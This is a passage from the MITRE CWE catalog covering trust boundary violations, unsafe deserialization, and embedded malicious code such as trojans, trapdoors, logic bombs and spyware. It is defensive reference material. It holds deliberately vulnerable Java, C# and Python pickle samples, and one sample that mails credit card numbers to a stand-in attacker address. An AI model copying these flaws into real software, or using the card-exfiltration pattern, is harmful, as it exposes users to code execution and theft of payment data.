Having a public static variable that is not marked final (constant) may allow the variable to be altered in a way not intended by the application. In this example the String variable can be modified to indicate a different or nonexistent properties file which could cause the application to crash or caused unexpected behavior.

Example Language: C++

(Good)

```
class SomeAppClass {
public:
    static const string appPropertiesConfigFile = "app/properties.config";
    ...
}
```

Example Language: Java

(Good)

```
public class SomeAppClass {
    public static final String appPropertiesFile = "app/Application.properties";
    ...
}
```

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	849	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)	844	2157
MemberOf	<b>C</b>	1002	SFP Secondary Cluster: Unexpected Entry Points	888	2214
MemberOf	<b>C</b>	1139	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ)	1133	2239

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Overflow of static internal buffer
The CERT Oracle Secure Coding Standard for Java (2011)	OBJ10-J		Do not use public static nonfinal variables
Software Fault Patterns	SFP28		Unexpected access points

## References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-501: Trust Boundary Violation

**Weakness ID** : 501

**Structure** : Simple

**Abstraction** : Base

## Description

The product mixes trusted and untrusted data in the same data structure or structured message.

## Extended Description

A trust boundary can be thought of as line drawn through a program. On one side of the line, data is untrusted. On the other side of the line, data is assumed to be trustworthy. The purpose of validation logic is to allow data to safely cross the trust boundary - to move from untrusted to trusted. A trust boundary violation occurs when a program blurs the line between what is trusted and what is untrusted. By combining trusted and untrusted data in the same data structure, it becomes easier for programmers to mistakenly trust unvalidated data.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1367

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	265	Privilege Issues	2109

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

## Demonstrative Examples

### Example 1:

The following code accepts an HTTP request and stores the username parameter in the HTTP session object before checking to ensure that the user has been authenticated.

*Example Language: Java*

*(Bad)*

```
username = request.getParameter("username");  
if (session.getAttribute(ATTR_USR) == null) {  
    session.setAttribute(ATTR_USR, username);  
}
```

*Example Language: C#*

*(Bad)*

```
username = request.Item("username");  
if (session.Item(ATTR_USR) == null) {  
    session.Add(ATTR_USR, username);  
}
```

Without well-established and maintained trust boundaries, programmers will inevitably lose track of which pieces of data have been validated and which have not. This confusion will eventually allow some data to be used without first being validated.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		485	7PK - Encapsulation	700	2121
MemberOf		963	SFP Secondary Cluster: Exposed Data	888	2193
MemberOf		1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2284

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Trust Boundary Violation
Software Fault Patterns	SFP23		Exposed Data

### References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

## CWE-502: Deserialization of Untrusted Data

**Weakness ID** : 502

**Structure** : Simple

**Abstraction** : Base

### Description

The product deserializes untrusted data without sufficiently verifying that the resulting data will be valid.

### Extended Description

It is often convenient to serialize objects for communication or to save them for later use. However, deserialized data or code can often be modified without using the provided accessor functions if it does not use cryptography to protect itself. Furthermore, any cryptography would still be client-side security -- which is a dangerous security assumption.

Data that is untrusted can not be trusted to be well-formed.



When developers place no restrictions on "gadget chains," or series of instances and method invocations that can self-execute during the deserialization process (i.e., before the object is returned to the caller), it is sometimes possible for attackers to leverage them to perform unauthorized actions, like generating a shell.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		913	Improper Control of Dynamically-Managed Code Resources	1681

Nature	Type	ID	Name	Page
PeerOf		915	Improperly Controlled Modification of Dynamically-Determined Object Attributes	1684
PeerOf		915	Improperly Controlled Modification of Dynamically-Determined Object Attributes	1684

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		913	Improper Control of Dynamically-Managed Code Resources	1681

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2226

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		399	Resource Management Errors	2117

### Applicable Platforms

**Language** : Java (Prevalence = Undetermined)

**Language** : Ruby (Prevalence = Undetermined)

**Language** : PHP (Prevalence = Undetermined)

**Language** : Python (Prevalence = Undetermined)

**Language** : JavaScript (Prevalence = Undetermined)

**Technology** : ICS/OT (Prevalence = Often)

### Background Details

Serialization and deserialization refer to the process of taking program-internal object-related data, packaging it in a way that allows the data to be externally stored or transferred ("serialization"), then extracting the serialized data to reconstruct the original object ("deserialization").

### Alternate Terms

**Marshaling, Unmarshaling** : Marshaling and unmarshaling are effectively synonyms for serialization and deserialization, respectively.

**Pickling, Unpickling** : In Python, the "pickle" functionality is used to perform serialization and deserialization.

**PHP Object Injection** : Some PHP application researchers use this term when attacking unsafe use of the unserialize() function; but it is also used for CWE-915.

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data Unexpected State  <i>Attackers can modify unexpected objects or data that was assumed to be safe from modification.</i>	
Availability	DoS: Resource Consumption (CPU)	



Scope	Impact	Likelihood
	<i>If a function is making an assumption on when to terminate, based on a sentry in a string, it could easily never terminate.</i>	
Other	Varies by Context  <i>The consequences can vary widely, because it depends on which objects or methods are being deserialized, and how they are used. Making an assumption that the code in the deserialized object is valid is dangerous and can enable exploitation.</i>	

## Potential Mitigations

### Phase: Architecture and Design

#### Phase: Implementation

If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.

#### Phase: Implementation

When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.

#### Phase: Implementation

Explicitly define a final object() to prevent deserialization.

### Phase: Architecture and Design

#### Phase: Implementation

Make fields transient to protect them from deserialization. An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.

#### Phase: Implementation

Avoid having unnecessary types or gadgets available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.

## Demonstrative Examples

### Example 1:

This code snippet deserializes an object from a file and uses it as a UI button:

*Example Language: Java*

*(Bad)*

```
try {
    File file = new File("object.obj");
    ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
    javax.swing.JButton button = (javax.swing.JButton) in.readObject();
    in.close();
}
```

This code does not attempt to verify the source or contents of the file before deserializing it. An attacker may be able to replace the intended file with a file that contains arbitrary malicious code which will be executed when the button is pressed.

To mitigate this, explicitly define final readObject() to prevent deserialization. An example of this is:

Example Language: Java

(Good)

```
private final void readObject(ObjectInputStream in) throws java.io.IOException {  
    throw new java.io.IOException("Cannot be deserialized");  
}
```

### Example 2:

In Python, the Pickle library handles the serialization and deserialization processes. In this example derived from [REF-467], the code receives and parses data, and afterwards tries to authenticate a user based on validating a token.

Example Language: Python

(Bad)

```
try {  
    class ExampleProtocol(protocol.Protocol):  
        def dataReceived(self, data):  
            # Code that would be here would parse the incoming data  
            # After receiving headers, call confirmAuth() to authenticate  
            def confirmAuth(self, headers):  
                try:  
                    token = cPickle.loads(base64.b64decode(headers['AuthToken']))  
                    if not check_hmac(token['signature'], token['data'], getSecretKey()):  
                        raise AuthFail  
                    self.secure_data = token['data']  
                except:  
                    raise AuthFail  
            }  
}
```

Unfortunately, the code does not verify that the incoming data is legitimate. An attacker can construct a illegitimate, serialized object "AuthToken" that instantiates one of Python's subprocesses to execute arbitrary commands. For instance, the attacker could construct a pickle that leverages Python's subprocess module, which spawns new processes and includes a number of arguments for various uses. Since Pickle allows objects to define the process for how they should be unpickled, the attacker can direct the unpickle process to call Popen in the subprocess module and execute /bin/sh.

### Observed Examples

Reference	Description
<b>CVE-2019-12799</b>	chain: bypass of untrusted deserialization issue (CWE-502) by using an assumed-trusted class (CWE-183) <a href="https://www.cve.org/CVERecord?id=CVE-2019-12799">https://www.cve.org/CVERecord?id=CVE-2019-12799</a>
<b>CVE-2015-8103</b>	Deserialization issue in commonly-used Java library allows remote execution. <a href="https://www.cve.org/CVERecord?id=CVE-2015-8103">https://www.cve.org/CVERecord?id=CVE-2015-8103</a>
<b>CVE-2015-4852</b>	Deserialization issue in commonly-used Java library allows remote execution. <a href="https://www.cve.org/CVERecord?id=CVE-2015-4852">https://www.cve.org/CVERecord?id=CVE-2015-4852</a>
<b>CVE-2013-1465</b>	Use of PHP unserialize function on untrusted input allows attacker to modify application configuration. <a href="https://www.cve.org/CVERecord?id=CVE-2013-1465">https://www.cve.org/CVERecord?id=CVE-2013-1465</a>
<b>CVE-2012-3527</b>	Use of PHP unserialize function on untrusted input in content management system might allow code execution. <a href="https://www.cve.org/CVERecord?id=CVE-2012-3527">https://www.cve.org/CVERecord?id=CVE-2012-3527</a>
<b>CVE-2012-0911</b>	Use of PHP unserialize function on untrusted input in content management system allows code execution using a crafted cookie value. <a href="https://www.cve.org/CVERecord?id=CVE-2012-0911">https://www.cve.org/CVERecord?id=CVE-2012-0911</a>
<b>CVE-2012-0911</b>	Content management system written in PHP allows unserialize of arbitrary objects, possibly allowing code execution. <a href="https://www.cve.org/CVERecord?id=CVE-2012-0911">https://www.cve.org/CVERecord?id=CVE-2012-0911</a>
<b>CVE-2011-2520</b>	Python script allows local users to execute code via pickled data. <a href="https://www.cve.org/CVERecord?id=CVE-2011-2520">https://www.cve.org/CVERecord?id=CVE-2011-2520</a>

Reference	Description
<b>CVE-2012-4406</b>	Unsafe deserialization using pickle in a Python script. <a href="https://www.cve.org/CVERecord?id=CVE-2012-4406">https://www.cve.org/CVERecord?id=CVE-2012-4406</a>
<b>CVE-2003-0791</b>	Web browser allows execution of native methods via a crafted string to a JavaScript function that deserializes the string. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0791">https://www.cve.org/CVERecord?id=CVE-2003-0791</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	<b>C</b>	858	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER)	844	2162
MemberOf	<b>V</b>	884	CWE Cross-section	884	2327
MemberOf	<b>C</b>	994	SFP Secondary Cluster: Tainted Input to Variable	888	2210
MemberOf	<b>C</b>	1034	OWASP Top Ten 2017 Category A8 - Insecure Deserialization	1026	2232
MemberOf	<b>C</b>	1148	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 14. Serialization (SER)	1133	2244
MemberOf	<b>V</b>	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2347
MemberOf	<b>C</b>	1308	CISQ Quality Measures - Security	1305	2278
MemberOf	<b>V</b>	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses	1337	2349
MemberOf	<b>V</b>	1340	CISQ Data Protection Measures	1340	2350
MemberOf	<b>V</b>	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses	1350	2354
MemberOf	<b>C</b>	1354	OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures	1344	2288
MemberOf	<b>V</b>	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses	1387	2357

### Notes

#### Maintenance

The relationships between CWE-502 and CWE-915 need further exploration. CWE-915 is more narrowly scoped to object modification, and is not necessarily used for deserialization.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Deserialization of untrusted data
The CERT Oracle Secure Coding Standard for Java (2011)	SER01-J		Do not deviate from the proper signatures of serialization methods
The CERT Oracle Secure Coding Standard for Java (2011)	SER03-J		Do not serialize unencrypted, sensitive data
The CERT Oracle Secure Coding Standard for Java (2011)	SER06-J		Make defensive copies of private mutable components during deserialization
The CERT Oracle Secure Coding Standard for Java (2011)	SER08-J		Do not use the default serialized form for implementation defined invariants

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP25		Tainted input to variable

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
586	Object Injection

### References

- [REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.
- [REF-461]Matthias Kaiser. "Exploiting Deserialization Vulnerabilities in Java". 2015 October 8. < <http://www.slideshare.net/codewhitesec/exploiting-deserialization-vulnerabilities-in-java-54707478> >.
- [REF-462]Sam Thomas. "PHP unserialization vulnerabilities: What are we missing?". 2015 August 7. < [http://www.slideshare.net/\\_s\\_n\\_t/php-unserialization-vulnerabilities-what-are-we-missing](http://www.slideshare.net/_s_n_t/php-unserialization-vulnerabilities-what-are-we-missing) >.
- [REF-463]Gabriel Lawrence and Chris Frohoff. "Marshalling Pickles: How deserializing objects can ruin your day". 2015 January 8. < <http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles> >.
- [REF-464]Heine Deelstra. "Unserializing user-supplied data, a bad idea". 2010 August 5. < <http://heine.familiedeelstra.com/security/unserialize> >.
- [REF-465]Manish S. Saindane. "Black Hat EU 2010 - Attacking Java Serialized Communication". 2010 April 6. < <http://www.slideshare.net/msaindane/black-hat-eu-2010-attacking-java-serialized-communication> >.
- [REF-466]Nadia Alramli. "Why Python Pickle is Insecure". 2009 September 9. < <http://nadiana.com/python-pickle-insecure> >.
- [REF-467]Nelson Elhage. "Exploiting misuse of Python's "pickle"". 2011 March 0. < <https://blog.nelhage.com/2011/03/exploiting-pickle/> >.
- [REF-468]Chris Frohoff. "Deserialize My Shorts: Or How I Learned to Start Worrying and Hate Java Object Deserialization". 2016 March 1. < <https://www.slideshare.net/frohoff1/deserialize-my-shorts-or-how-i-learned-to-start-worrying-and-hate-java-object-deserialization> >.

## CWE-506: Embedded Malicious Code

**Weakness ID** : 506

**Structure** : Simple

**Abstraction** : Class

### Description

The product contains code that appears to be malicious in nature.

### Extended Description

Malicious flaws have acquired colorful names, including Trojan horse, trapdoor, timebomb, and logic-bomb. A developer might insert malicious code with the intent to subvert the security of a product or its host system at some time in the future. It generally refers to a program that performs a useful service but exploits rights of the program's user in a way the user does not intend.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		912	Hidden Functionality	1680
ParentOf		507	Trojan Horse	1144
ParentOf		510	Trapdoor	1147
ParentOf		511	Logic/Time Bomb	1149
ParentOf		512	Spyware	1150

### Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

### Detection Methods

#### Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies  
 Generated Code Inspection

*Effectiveness = SOAR Partial*

#### Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Automated Monitored Execution

*Effectiveness = SOAR Partial*

#### Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Manual Source Code Review (not inspections)

*Effectiveness = SOAR Partial*

#### Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Origin Analysis

*Effectiveness = SOAR Partial*

### Potential Mitigations

#### Phase: Testing

Remove the malicious code and start an effort to ensure that no more malicious code exists. This may require a detailed review of all code, as it is possible to hide a serious attack in only one or two lines of code. These lines may be located almost anywhere in an application and may have been intentionally obfuscated by the attacker.

### Demonstrative Examples

#### Example 1:

In the example below, a malicious developer has injected code to send credit card numbers to the developer's own email address.

*Example Language: Java*

*(Bad)*

```
boolean authorizeCard(String ccn) {
    // Authorize credit card.
    ...
    mailCardNumber(ccn, "evil_developer@evil_domain.com");
}
```

}

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	904	SFP Primary Cluster: Malware	888	2180

### Notes

#### Terminology

The term "Trojan horse" was introduced by Dan Edwards and recorded by James Anderson [18] to characterize a particular computer security threat; it has been redefined many times [4,18-20].

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Landwehr			Malicious

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
442	Infected Software
448	Embed Virus into DLL
636	Hiding Malicious Data or Code within Files

## CWE-507: Trojan Horse

**Weakness ID :** 507

**Structure :** Simple

**Abstraction :** Base

### Description

The product appears to contain benign or useful functionality, but it also contains code that is hidden from normal operation that violates the intended security policy of the user or the system administrator.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	C	506	Embedded Malicious Code	1142
ParentOf	B	508	Non-Replicating Malicious Code	1145
ParentOf	B	509	Replicating Malicious Code (Virus or Worm)	1146

### Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

### Potential Mitigations

1144

**Phase: Operation**

Most antivirus software scans for Trojan Horses.

**Phase: Installation**

Verify the integrity of the product that is being installed.

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	904	SFP Primary Cluster: Malware	888	2180

**Notes**

**Other**

Potentially malicious dynamic code compiled at runtime can conceal any number of attacks that will not appear in the baseline. The use of dynamically compiled code could also allow the injection of attacks on post-deployed applications.

**Terminology**

Definitions of "Trojan horse" and related terms have varied widely over the years, but common usage in 2008 generally refers to software that performs a legitimate function, but also contains malicious code. Almost any malicious code can be called a Trojan horse, since the author of malicious code needs to disguise it somehow so that it will be invoked by a nonmalicious user (unless the author means also to invoke the code, in which case they presumably already possess the authorization to perform the intended sabotage). A Trojan horse that replicates itself by copying its code into other program files (see case MA1) is commonly referred to as a virus. One that replicates itself by creating new processes or files to contain its code, instead of modifying existing storage entities, is often called a worm. Denning provides a general discussion of these terms; differences of opinion about the term applicable to a particular flaw or its exploitations sometimes occur.

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Landwehr			Trojan Horse

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name
698	Install Malicious Extension

**References**

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

**CWE-508: Non-Replicating Malicious Code**

**Weakness ID** : 508  
**Structure** : Simple  
**Abstraction** : Base

**Description**

Non-replicating malicious code only resides on the target system or product that is attacked; it does not attempt to spread to other systems.



## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		507	Trojan Horse	1144

## Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

## Potential Mitigations

### Phase: Operation

Antivirus software can help mitigate known malicious code.

### Phase: Installation

Verify the integrity of the software that is being installed.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		904	SFP Primary Cluster: Malware	888	2180

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Landwehr			Non-Replicating

## CWE-509: Replicating Malicious Code (Virus or Worm)

**Weakness ID** : 509

**Structure** : Simple

**Abstraction** : Base

### Description

Replicating malicious code, including viruses and worms, will attempt to attack other systems once it has successfully compromised the target system or the product.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		507	Trojan Horse	1144

## Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

## Potential Mitigations

### Phase: Operation

Antivirus software scans for viruses or worms.

### Phase: Installation

Always verify the integrity of the software that is being installed.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	904	SFP Primary Cluster: Malware	888	2180

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Landwehr			Replicating (virus)

## CWE-510: Trapdoor

**Weakness ID** : 510

**Structure** : Simple

**Abstraction** : Base

### Description

A trapdoor is a hidden piece of code that responds to a special input, allowing its user access to resources without passing through the normal security enforcement mechanism.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	C	506	Embedded Malicious Code	1142

## Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Access Control	Execute Unauthorized Code or Commands Bypass Protection Mechanism	

## Detection Methods

**Automated Static Analysis - Binary or Bytecode**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Inter-application Flow Analysis Binary / Bytecode simple extractor - strings, ELF readers, etc.

*Effectiveness = SOAR Partial*

### Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies Generated Code Inspection

*Effectiveness = SOAR Partial*

### Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Automated Monitored Execution Forced Path Execution Debugger Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

*Effectiveness = SOAR Partial*

### Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

*Effectiveness = High*

### Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Context-configured Source Code Weakness Analyzer

*Effectiveness = SOAR Partial*

### Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Cost effective for partial coverage: Formal Methods / Correct-By-Construction

*Effectiveness = High*

## Potential Mitigations

### Phase: Installation

Always verify the integrity of the software that is being installed.

### Phase: Testing

Identify and closely inspect the conditions for entering privileged areas of the code, especially those related to authentication, process invocation, and network communications.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	904	SFP Primary Cluster: Malware	888	2180

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Landwehr			Trapdoor

## CWE-511: Logic/Time Bomb

**Weakness ID** : 511

**Structure** : Simple

**Abstraction** : Base

### Description

The product contains code that is designed to disrupt the legitimate operation of the product (or its environment) when a certain time passes, or when a certain logical condition is met.

### Extended Description

When the time bomb or logic bomb is detonated, it may perform a denial of service such as crashing the system, deleting critical data, or degrading system response time. This bomb might be placed within either a replicating or non-replicating Trojan horse.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		506	Embedded Malicious Code	1142

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Mobile (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	
Integrity	Alter Execution Logic	

### Potential Mitigations

#### Phase: Installation

Always verify the integrity of the product that is being installed.

#### Phase: Testing

Conduct a code coverage analysis using live testing, then closely inspect any code that is not covered.

### Demonstrative Examples

#### Example 1:

Typical examples of triggers include system date or time mechanisms, random number generators, and counters that wait for an opportunity to launch their payload. When triggered, a time-bomb may deny service by crashing the system, deleting files, or degrading system response-time.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		904	SFP Primary Cluster: Malware	888	2180

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Landwehr			Logic/Time Bomb

### References

[REF-172]Chris Wysopal. "Mobile App Top 10 List". 2010 December 3. < <http://www.veracode.com/blog/2010/12/mobile-app-top-10-list/> >.

## CWE-512: Spyware

**Weakness ID :** 512

**Structure :** Simple

**Abstraction :** Base

### Description

The product collects personally identifiable information about a human user or the user's activities, but the product accesses this information using other resources besides itself, and it does not require that user's explicit approval or direct input into the product.

### Extended Description

"Spyware" is a commonly used term with many definitions and interpretations. In general, it is meant to refer to products that collect information or install functionality that human users might not allow if they were fully aware of the actions being taken by the software. For example, a user might expect that tax software would collect a social security number and include it when filing a tax return, but that same user would not expect gaming software to obtain the social security number from that tax software's data.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		506	Embedded Malicious Code	1142

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

### Potential Mitigations

#### Phase: Operation

Use spyware detection and removal software.

#### Phase: Installation

Always verify the integrity of the product that is being installed.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	904	SFP Primary Cluster: Malware	888	2180

## CWE-514: Covert Channel

**Weakness ID** : 514

**Structure** : Simple

**Abstraction** : Class

### Description

A covert channel is a path that can be used to transfer information in a way not intended by the system's designers.

### Extended Description

Typically the system has not given authorization for the transmission and has no knowledge of its occurrence.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	C	1229	Creation of Emergent Resource	1854
ParentOf	B	385	Covert Timing Channel	890
ParentOf	B	515	Covert Storage Channel	1152
